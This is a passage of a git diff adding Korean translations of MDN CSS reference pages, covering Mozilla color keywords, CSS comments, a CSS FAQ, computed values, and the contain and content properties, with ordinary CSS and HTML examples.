The border color that goes around buttons that represent the default action for a dialog box.
+
-moz-ButtonHoverFace
+
The background color of a button that the mouse pointer is over (which would be ThreeDFace or ButtonFace when the mouse pointer is not over it). Should be used with the -moz-ButtonHoverText foreground color.
+
-moz-ButtonHoverText
+
The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it). Should be used with the -moz-ButtonHoverFace background color.
+
-moz-CellHighlight
+
Background color for selected item in a tree widget. Should be used with the -moz-CellHighlightText foreground color. See also -moz-html-CellHighlight.
+
-moz-CellHighlightText
+
Text color for a selected item in a tree. Should be used with the -moz-CellHighlight background color. See also -moz-html-CellHighlightText.
+
-moz-Combobox
+
{{Gecko_minversion_inline("1.9.2")}} Background color for combo-boxes. Should be used with the -moz-ComboboxText foreground color. In versions prior to 1.9.2, use -moz-Field instead.
+
-moz-ComboboxText
+
{{Gecko_minversion_inline("1.9.2")}} Text color for combo-boxes. Should be used with the -moz-Combobox background color. In versions prior to 1.9.2, use -moz-FieldText instead.
+
-moz-Dialog
+
Background color for dialog boxes. Should be used with the -moz-DialogText foreground color.
+
-moz-DialogText
+
Text color for dialog boxes. Should be used with the -moz-Dialog background color.
+
-moz-dragtargetzone
+
-moz-EvenTreeRow
+
{{gecko_minversion_inline("1.9")}} Background color for even-numbered rows in a tree. Should be used with the -moz-FieldText foreground color. In Gecko versions prior to 1.9, use -moz-Field. See also -moz-OddTreeRow.
+
-moz-Field
+
Text field background color. Should be used with the -moz-FieldText foreground color.
+
-moz-FieldText
+
Text field text color. Should be used with the -moz-Field, -moz-EvenTreeRow, or -moz-OddTreeRow background color.
+
-moz-html-CellHighlight
+
{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the -moz-html-CellHighlightText foreground color. Prior to Gecko 1.9, use -moz-CellHighlight.
+
-moz-html-CellHighlightText
+
{{gecko_minversion_inline("1.9")}} Text color for highlighted items in HTML {{HTMLElement("select")}}s. Should be used with the -moz-html-CellHighlight background color. Prior to Gecko 1.9, use -moz-CellHighlightText.
+
-moz-mac-accentdarkestshadow
+
-moz-mac-accentdarkshadow
+
-moz-mac-accentface
+
-moz-mac-accentlightesthighlight
+
-moz-mac-accentlightshadow
+
-moz-mac-accentregularhighlight
+
-moz-mac-accentregularshadow
+
-moz-mac-chrome-active
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-chrome-inactive
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-focusring
+
-moz-mac-menuselect
+
-moz-mac-menushadow
+
-moz-mac-menutextselect
+
-moz-MenuHover
+
Background color for hovered menu items. Often similar to Highlight. Should be used with the -moz-MenuHoverText or -moz-MenuBarHoverText foreground color.
+
-moz-MenuHoverText
+
Text color for hovered menu items. Often similar to HighlightText. Should be used with the -moz-MenuHover background color.
+
-moz-MenuBarText
+
{{Gecko_minversion_inline("1.9.2")}} Text color in menu bars. Often similar to MenuText. Should be used on top of Menu background.
+
-moz-MenuBarHoverText
+
Color for hovered text in menu bars. Often similar to -moz-MenuHoverText. Should be used on top of -moz-MenuHover background.
+
-moz-nativehyperlinktext
+
{{Gecko_minversion_inline("1.9.1")}} Default platform hyperlink color.
+
-moz-OddTreeRow
+
{{gecko_minversion_inline("1.9")}} Background color for odd-numbered rows in a tree. Should be used with the -moz-FieldText foreground color. In Gecko versions prior to 1.9, use -moz-Field. See also -moz-EvenTreeRow.
+
-moz-win-communicationstext
+
{{gecko_minversion_inline("1.9")}} Should be used for text in objects with {{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;.
+
-moz-win-mediatext
+
{{gecko_minversion_inline("1.9")}} Should be used for text in objects with {{cssxref("-moz-appearance")}}: -moz-win-media-toolbox.
+
-moz-win-accentcolor
+
{{gecko_minversion_inline("56")}}
+ Used to access the Windows 10 custom accent color that you can set on the start menu, taskbar, title bars, etc.
+
-moz-win-accentcolortext
+
{{gecko_minversion_inline("56")}}
+ Used to access the color of text placed over the Windows 10 custom accent color in the start menu, taskbar, title bars, etc.
+
+ +

Mozilla 색상 설정 확장

+ +
+
-moz-activehyperlinktext
+
User's preference for text color of active links. Should be used with the default document background color.
+
-moz-default-background-color
+
{{Gecko_minversion_inline("5.0")}} User's preference for the document background color.
+
-moz-default-color
+
{{Gecko_minversion_inline("5.0")}} User's preference for the text color.
+
-moz-hyperlinktext
+
User's preference for the text color of unvisited links. Should be used with the default document background color.
+
-moz-visitedhyperlinktext
+
User's preference for the text color of visited links. Should be used with the default document background color.
+
+ +

보간

+ +

애니메이션과 그레이디언트<color> 값의 빨강, 초록, 파랑 각 구성 성분을 부동소수점 실수를 사용해 보간합니다. 보간 중 예상하지 못한 무채색이 등장하는걸 방지하기 위해 계산은 알파 채널을 미리 곱한 sRGBA 색 공간에서 수행합니다. 애니메이션에서 보간의 속도는 타이밍 함수가 결정합니다.

+ +

접근성 고려사항

+ +

색을 구별하기 어려운 사람도 있으므로, WCAG 2.0 권고안은 특정 메시지, 행동, 또는 결과를 나타내는 방법으로 오직 색만 사용하는걸 강력히 반대하고 있습니다. 색과 색상 대비를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Colors', '#changes-from-3')}}{{Spec2('CSS4 Colors')}}Adds rebeccapurple, four- (#RGBA) and eight-digit (#RRGGBBAA) hexadecimal notations, rgba() and hsla() as aliases of rgb() and hsl() (both with identical parameter syntax), space-separated function parameters as an alternative to commas, percentages for alpha values, and angles for the hue component in hsl() colors.
{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}{{Spec2('CSS3 Colors')}}Deprecates system colors. Adds SVG colors and rgba(), hsl(), and hsla() functional notations.
{{SpecName('CSS2.1', 'syndata.html#value-def-color', '<color>')}}{{Spec2('CSS2.1')}}Adds the orange keyword and system colors.
{{SpecName('CSS1', '#color-units', '<color>')}}{{Spec2('CSS1')}}Initial definition. Includes 16 basic color keywords.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.color")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("opacity")}} 속성으로 요소 자체의 투명도를 바꿀 수 있습니다.
  • +
  • <color>를 지정할 수 있는 흔히 쓰이는 속성: {{Cssxref("color")}}, {{Cssxref("background-color")}}, {{Cssxref("border-color")}}, {{Cssxref("box-shadow")}}, {{Cssxref("outline-color")}}, {{Cssxref("text-shadow")}}
  • +
  • CSS로 HTML 요소에 색 입히기
  • +
diff --git a/files/ko/web/css/comments/index.html b/files/ko/web/css/comments/index.html new file mode 100644 index 0000000000..e101681e9c --- /dev/null +++ b/files/ko/web/css/comments/index.html @@ -0,0 +1,54 @@ +--- +title: Comments +slug: Web/CSS/Comments +tags: + - CSS + - Reference +translation_of: Web/CSS/Comments +--- +
{{CSSRef}}
+ +

CSS 주석은 코드에 설명을 넣거나, 브라우저가 스타일 시트의 특정 부분을 읽지 못하도록 방지할 때 사용합니다. 주석은 문서의 레이아웃에 영향을 주지 않습니다.

+ +

구문

+ +

주석은 스타일 시트에서 공백이 위치할 수 있는 곳 어디에나 넣을 수 있습니다. 한 줄로도, 여러 줄로도 사용할 수 있습니다.

+ +
/* Comment */
+ +

예제

+ +
/* 한 줄 주석 */
+
+/*
+여러
+줄을
+차지하는
+주석
+*/
+
+/* 아래와 같이 사용하면
+   스타일을 숨길 수 있음 */
+/*
+span {
+  color: blue;
+  font-size: 1.5em;
+}
+*/
+
+ +

참고

+ +

한 줄과 여러 줄 주석 모두 /* */ 구문을 사용하며 다른 방법은 없습니다. 그러나 {{htmlelement("style")}} 요소를 사용하는 경우 <!-- -->를 이용해 구형 브라우저에게서 CSS를 숨길 수 있지만, 추천하는 방법은 아닙니다. /* */ 주석 구문을 사용하는 대부분의 언어와 마찬가지로 주석을 중첩할 수는 없습니다. 즉 /*을 뒤따르는 첫 번째 */이 주석을 끝냅니다.

+ +

명세

+ + + +

같이 보기

+ +
    +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/common_css_questions/index.html b/files/ko/web/css/common_css_questions/index.html new file mode 100644 index 0000000000..604448f6c3 --- /dev/null +++ b/files/ko/web/css/common_css_questions/index.html @@ -0,0 +1,199 @@ +--- +title: 공통된 CSS 질문들 +slug: Web/CSS/Common_CSS_Questions +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

왜 유효한 내 CSS가 왜 올바르게 그려지지 않는가?

+ +

Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance.

+ +

Modern browsers have two main rendering modes:

+ +
    +
  • Quirks Mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing DOCTYPE declaration or a known DOCTYPE declaration in common use before 2001 will be rendered in Quirks Mode.
  • +
  • Standards Mode: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern DOCTYPE declaration will be rendered with Standards Mode.
  • +
+ +

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

+ +

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

+ +
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+ +

왜 유효한 내 CSS는 모두 랜더링 되지 않는가?

+ +

원인은 다음과 같다:

+ +
    +
  • CSS 파일의 경로가 잘못되었다.
  • +
  • 적용을 위해서는 CSS 파일은 반드시 text/css MIME type으로 전달되어야 한다. 만약 웹 서버가 이 타입을 지원하지 않는다면 적용할 수 없다.
  • +
+ +

id 와 css는 무엇이 다른가?

+ +

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.
+
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.
+
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.

+ +

Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).

+ +

See CSS selectors

+ +

 프로퍼티(property)에 기본값(default value)으로 복귀 시키는 방법은?

+ +

 

+ +

본래 CSS는 "default" 키워드를 제공하지 않으며 속성의 기본값을 복원하는 유일한 방법은 해당 속성을 명시 적으로 다시 선언하는 것이다.

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: black; }
+ +

이것은 CSS 2에서 변경되었다. 키워드 initial은 이제 CSS 속성에서 유효한 값이다. 지정된 속성의 CSS 사양에 정의 된 기본값으로 재설정된다.

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: initial; }
+ +

 

+ +

어떻게 하면 한 스타일(style)로 부터 다른 스타일을 파생시킬 수 있는가?

+ +

CSS는 한 스타일 안에서 다른 조건을 정의하는 것을 허용하지 않는다. (See Eric Meyer's note about the Working Group's stance).  그러나 여러개의 클래스(class)들을 한 엘리먼트(element)에 할당하면 같은 효과를 제공받을 수 있다.

+ +

어떻게 하면 한 요소(element)에 여러 클래스(class)를 할당할 수 있는가?

+ +

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

+ +

왜 내 스타일 룰(style rule)은 올바르게 동작하지 않는가?

+ +

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

+ +

HTML 요소(element) 계층(hierarchy)

+ +

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

+ +
.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+<!-- news item text is black, but corporate name is red and in bold -->
+<div class="news">
+   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
+</div>
+
+ +

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

+ +

명확한 스타일 룰 재정의

+ +

CSS 스타일시트 안에서 순서가 중요하다. 만약 룰을 정의하고 같은 룰을 재정의 한다면 마지막 정의가 적용된다.

+ +
#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+<!-- most text is in bold, except "GE", which is red and not bold -->
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

위와 같은 종류의 오류를 방지하려면 특정 선택자에 대해 규칙을 한 번만 정의하고 해당 선택자에 속하는 모든 규칙을 그룹화 하는 것이 좋다.

+ +

프로퍼티(property) 축약형의 사용

+ +

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

+ +
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

+ +
#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+
+ +

* 셀렉터(selector)의 사용

+ +

* 와일드카드 셀렉터는 모든 엘리먼트에 적용되고, 이것은 특별히 주의를 기울여 사용해야 한다.

+ +
body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+<div id="section">
+   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
+</div>
+
+ +

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

+ +

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

+ +

CSS의 특수성

+ +

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

+ +
div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+<div id="orange" class="green" style="color: red;">This is red</div>
+
+ +

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

+ +

-moz-*, -ms-*, -webkit-*, -o-* and -khtml-* 프로퍼티(property)들이 하는 것은?

+ +

These properties, called prefixed properties, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

+ +

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.

+ +

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

+ +

z-index는 어떻게 포지셔닝을 하는가?

+ +

The z-index property specifies the stack order of elements.

+ +

An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.

+ +

Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

diff --git a/files/ko/web/css/computed_value/index.html b/files/ko/web/css/computed_value/index.html new file mode 100644 index 0000000000..feb106bf43 --- /dev/null +++ b/files/ko/web/css/computed_value/index.html @@ -0,0 +1,55 @@ +--- +title: 계산값 +slug: Web/CSS/computed_value +tags: + - CSS + - Reference +translation_of: Web/CSS/computed_value +--- +
{{cssref}}
+ +

CSS 속성의 계산값은 상속 과정에서 부모가 자식에게 물려주는 값을 말합니다. 계산값은 지정값으로부터 다음 방법을 통해 구합니다.

+ +
    +
  • 특수값인 {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}}, {{cssxref("revert")}}를 처리하여.
  • +
  • 각 속성 정의 표의 "Computed value" 항목이 가리키는 연산을 수행하여.
  • +
+ +

계산값을 구하기 위한 연산은 보통 상댓값(em 단위나 백분율 등)을 절댓값으로 변환하는 작업을 수반합니다. 예컨대 요소가 font-size: 1pxpadding-top: 2em을 가진다면, padding-top의 계산값은 글씨 크기의 두 배인 32px입니다.

+ +

그러나, width, margin-right, text-index, top과 같이, 백분율의 값을 알아내려면 레이아웃부터 계산해야 하는 속성의 백분율 지정값은 백분율 계산값이 됩니다. 추가로, line-height 속성의 단위 없는 값도 그대로 계산값이 됩니다. 이렇게 남겨진 상대적 계산값은 사용값을 구할 때 절댓값이 됩니다.

+ +
+

참고:{{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 결정값을 반환합니다. 결정값은 속성에 따라 계산값일 수도, 사용값일 수도 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}{{Spec2("CSS2.1")}}Initial definition.
{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}{{Spec2("CSS2.2")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/contain/index.html b/files/ko/web/css/contain/index.html new file mode 100644 index 0000000000..64eb9eba4a --- /dev/null +++ b/files/ko/web/css/contain/index.html @@ -0,0 +1,206 @@ +--- +title: contain +slug: Web/CSS/contain +tags: + - CSS + - CSS Containment + - CSS Property + - Reference + - Web + - 'recipe:css-property' +translation_of: Web/CSS/contain +--- +
{{CSSRef}}
+ +

CSS contain 속성은 특정 요소와 콘텐츠가 문서 트리의 다른 부위와 독립되어있음을 나타낼 때 사용합니다. 브라우저는 이 정보를 사용해 레이아웃, 스타일, 페인트, 크기, 또는 그 조합의 계산을 전체 페이지 DOM 대신 일부에서만 수행할 수 있으므로 뚜렷한 성능 상 이점을 얻을 수 있습니다.

+ +

contain 속성은 위젯 내부 콘텐츠가 외부에 부작용을 끼치는 것을 방지할 수 있으므로 서로 독립된 많은 양의 위젯이 존재하는 페이지에서 유용합니다.

+ +
+

참고: paint, strict, content 값을 설정할 경우 다음을 생성합니다.

+ +
    +
  1. 새로운 컨테이닝 블록 ({{cssxref("position")}} 속성이 absolute 또는 fixed인 자손을 위함).
  2. +
  3. 새로운 쌓임 맥락.
  4. +
  5. 새로운 블록 서식 맥락.
  6. +
+
+ +

구문

+ +
/* 키워드 값 */
+contain: none;
+contain: strict;
+contain: content;
+contain: size;
+contain: layout;
+contain: style;
+contain: paint;
+
+/* 다중 값 */
+contain: size paint;
+contain: size layout paint;
+
+/* 전역 값 */
+contain: inherit;
+contain: initial;
+contain: unset;
+ +

contain 속성은 다음 방법 중 하나를 사용해 지정합니다.

+ +
    +
  • none, strict, content 키워드 중 하나를 사용.
  • +
  • size, layout, style, paint 키워드를 임의 순서로 하나 이상 사용.
  • +
+ +

+ +
+
none
+
아무것도 격리하지 않고 요소를 평범하게 렌더링합니다.
+
strict
+
style을 제외한 모든 격리 규칙을 적용합니다. contain: size layout paint와 같습니다.
+
content
+
sizestyle을 제외한 모든 격리 규칙을 적용합니다. contain: layout paint와 같습니다.
+
size
+
요소의 크기를 계산할 때 자손의 크기는 고려하지 않아도 됨을 나타냅니다.
+
layout
+
요소 외부의 어느 것도 내부 레이아웃에 영향을 주지 않고, 그 반대도 성립함을 나타냅니다.
+
style
+
요소 자신과 자손 외에도 영향을 주는 속성이라도 그 영향 범위가 자신을 벗어나지 않음을 나타냅니다. 이 값은 명세에서 "제외 고려" 대상이므로 모든 브라우저가 지원하지 않을 수도 있음을 참고하세요.
+
paint
+
요소의 자손이 자신의 범위 바깥에 그려지지 않음을 나타냅니다. 이 값을 지정한 요소의 경우, 요소가 화면 밖에 위치할 경우 당연히 그 안의 자손도 화면 안에 들어오지 않을 것이므로 브라우저는 그 안의 요소를 고려하지 않아도 됩니다. 그러나 만약 자손이 범위 밖으로 넘칠 경우에는 요소의 테두리 상자에서 잘라냅니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 레이아웃

+ +

다음 마크업은 각각의 콘텐츠를 가진 여러 개의 글을 가정합니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <img src="graphic.jpg" alt="photo">
+  <p>More content here.</p>
+</article>
+ +

<article><img>엔 테두리를 부여하고, 이미지는 모두 좌측으로 플로팅합니다.

+ +
img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+}
+ +

{{EmbedLiveSample('간단한_레이아웃', '100%', '300')}}

+ +

플로팅 간섭

+ +

첫 번째 글의 마지막에 다른 이미지를 넣게 되면 많은 양의 DOM 트리가 다시 레이아웃이나 페인트 과정을 거쳐야 하며, 두 번째 글의 레이아웃에도 간섭하게 됩니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+  <img src="i-just-showed-up.jpg" alt="social">
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <img src="graphic.jpg" alt="photo">
+  <p>More content here.</p>
+</article>
+ + + +

아래의 라이브 샘플에서, 플로팅 작동 방식으로 인해 첫 번째 이미지가 두 번째 글 안으로 들어가버린 모습을 볼 수 있습니다.

+ +

{{EmbedLiveSample('플로팅_간섭', '100%', '300')}}

+ +

contain으로 수정하기

+ +

각각의 articlecontain: content를 지정해주면, 새로운 요소를 추가할 때 그 하위 트리만 계산하고 바깥은 고려하지 않아도 된다는 것을 브라우저가 인식합니다.

+ + + +
img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+  contain: content;
+}
+ +

또한 첫 번째 이미지가 플로팅으로 인해 아래로 넘어가지 않고, 컨테이너 요소의 범위 안에 머무르는 것도 확인할 수 있습니다.

+ +

{{EmbedLiveSample('contain으로_수정하기', '100%', '330')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Containment', '#contain-property', 'contain')}}{{Spec2('CSS Containment')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.contain")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/content/index.html b/files/ko/web/css/content/index.html new file mode 100644 index 0000000000..c06271b05d --- /dev/null +++ b/files/ko/web/css/content/index.html @@ -0,0 +1,297 @@ +--- +title: content +slug: Web/CSS/content +tags: + - CSS + - CSS Counter + - CSS Property + - Reference +translation_of: Web/CSS/content +--- +
{{CSSRef}}
+ +

CSS content 속성은 생성한 값으로 요소를 대체합니다. content 속성으로 추가한 요소는 "익명 대체 요소"입니다.

+ +
/* 다른 값과 조합할 수 없는 키워드 */
+content: normal;
+content: none;
+
+/* <image> 값 */
+content: url("http://www.example.com/test.png");
+content: linear-gradient(#e66465, #9198e5);
+
+/* 생성한 값의 대체 텍스트, Level 3 명세에서 추가 */
+content: url("http://www.example.com/test.png") / "This is the alt text";
+
+/* 앞선 값은 모두 ::before와 ::after에만 적용 가능 */
+
+/* <string> 값 */
+content: "prefix";
+
+/* <counter> 값 */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* HTML 속성값으로 연결하는 attr() */
+content: attr(value string);
+
+/* 언어와 요소 위치 기반 키워드 */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* normal과 none을 제외하면 여러 키워드를 함께 사용할 수 있음 */
+content: open-quote chapter_counter;
+
+/* 전역 값 */
+content: inherit;
+content: initial;
+content: unset;
+
+ +

{{cssinfo}}

+ +

구문

+ +

+ +
+
none
+
의사 요소를 생성하지 않음.
+
normal
+
::before::after 의사 요소인 경우 none.
+
{{cssxref("<string>")}}
+
요소의 "대체 텍스트". 모든 숫자와 문자가 가능합니다. 단, 라틴계 문자가 아닌 경우 유니코드 이스케이프 시퀀스를 사용해 인코딩해야 합니다. 예를 들어, \000A9는 저작권 기호입니다.
+
{{cssxref("<image>")}}
+
{{cssxref("<url>")}}이나 {{cssxref("<gradient>")}} 자료형을 사용한 {{cssxref("<image>")}}, 또는 {{cssxref("element")}} 함수를 사용해 가리킨, 보여줄 웹페이지의 일부.
+
{{cssxref("<counter>")}}
+
보통 숫자인 CSS 카운터 값.{{cssxref("counter")}}나 {{cssxref("counters")}} 함수를 사용해 지정할 수 있습니다.
+
+

{{cssxref("counter")}} 함수는 'counter(name)'과 'counter(name, style)'의 두 형태를 가지고 있습니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 가장 안쪽 카운터의 값입니다. 지정한 스타일(기본 decimal)에 맞춰 서식을 적용합니다.

+ +

{{cssxref("counters")}} 함수 역시 'counters(name, string)'과 'counters(name, string, style)'의 두 형태를 가집니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 카운터 값의 목록으로 바깥쪽부터 시작하며 주어진 문자열을 사용해 구분합니다. 지정한 스타일(기본 decimal)에 맞춰 서식을 적용합니다..

+
+
attr(x)
+
문자열로 변환한, 요소 속성 x의 값. x 속성이 존재하지 않으면 빈 문자열을 반환합니다. 속성명의 대소문자 구분 여부는 문서 언어에 따릅니다.
+
open-quote | close-quote
+
{{cssxref("quotes")}} 속성에서 가져온 적절한 문자열을 사용해 대체.
+
no-open-quote | no-close-quote
+
콘텐츠는 추가하지 않고, 대신 따옴표의 중첩 단계를 증감.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

헤딩과 따옴표

+ +

다음 예제는 인용구 주변에 따옴표를 추가하고, 헤딩 앞에 단어 "Chapter"를 추가합니다.

+ +

HTML

+ +
<h1>5</h1>
+<p>According to Sir Tim Berners-Lee,
+  <q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet">I was
+    lucky enough to invent the Web at the time when the Internet
+    already existed - and had for a decade and a half.</q>
+  We must understand that there is nothing fundamentally wrong
+  with building on the contributions of others.
+</p>
+
+<h1>6</h1>
+<p>According to the Mozilla Manifesto,
+  <q cite="http://www.mozilla.org/en-US/about/manifesto/">Individuals
+    must have the ability to shape the Internet and
+    their own experiences on the Internet.</q>
+  Therefore, we can infer that contributing to the open web
+  can protect our own individual experiences on it.
+</p>
+ +

CSS

+ +
q {
+  color: blue;
+}
+
+q::before {
+  content: open-quote;
+}
+
+q::after {
+  content: close-quote;
+}
+
+h1::before  {
+  content: "Chapter ";  /* The trailing space creates separation
+                           between the added content and the
+                           rest of the content */
+}
+ +

결과

+ +

{{EmbedLiveSample('헤딩과_따옴표', '100%', 200)}}

+ +

이미지와 텍스트

+ +

다음 예제는 링크 앞에 이미지를 추가합니다. 이미지를 가져오지 못한 경우 텍스트를 대신 추가합니다.

+ +

HTML

+ +
<a href="http://www.mozilla.org/en-US/">Mozilla Home Page</a>
+ +

CSS

+ +
a::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+  font: x-small Arial, sans-serif;
+  color: gray;
+}
+ +

결과

+ +

{{EmbedLiveSample('이미지와_텍스트', '100%', 60)}}

+ +

클래스 사용

+ +

다음 예제는 목록의 특별한 항목 뒤에 추가 텍스트를 삽입합니다.

+ +

HTML

+ +
<h2>Paperback Best Sellers</h2>
+<ol>
+  <li>Political Thriller</li>
+  <li class="new-entry">Halloween Stories</li>
+  <li>My Biography</li>
+  <li class="new-entry">Vampire Romance</li>
+</ol>
+ +

CSS

+ +
.new-entry::after {
+  content: " New!";  /* The leading space creates separation
+                        between the added content and the
+                        rest of the content */
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('클래스_사용', '100%', 160)}}

+ +

이미지와 요소 속성

+ +

다음 예제는 링크 앞에 이미지를 추가하고, 뒤에 id 속성의 값을 붙입니다.

+ +

HTML

+ +
<ul>
+  <li><a id="moz" href="http://www.mozilla.org/">
+    Mozilla Home Page</a></li>
+  <li><a id="mdn" href="https://developer.mozilla.org/">
+    Mozilla Developer Network</a></li>
+</ul>
+ +

CSS

+ +
a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+  content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+  margin: 1em;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('이미지와_요소_속성', '100%', 160)}}

+ +

요소 대체

+ +

다음 예제는 요소의 콘텐츠를 이미지로 대체합니다. {{cssxref("<url>")}} 또는 {{cssxref("<image>")}} 사용하면 콘텐츠를 대체합니다. 요소를 대체했으므로 ::before::after는 생성하지 않습니다.

+ +

HTML

+ +
<div id="replaced">Mozilla</div>
+
+ +

CSS

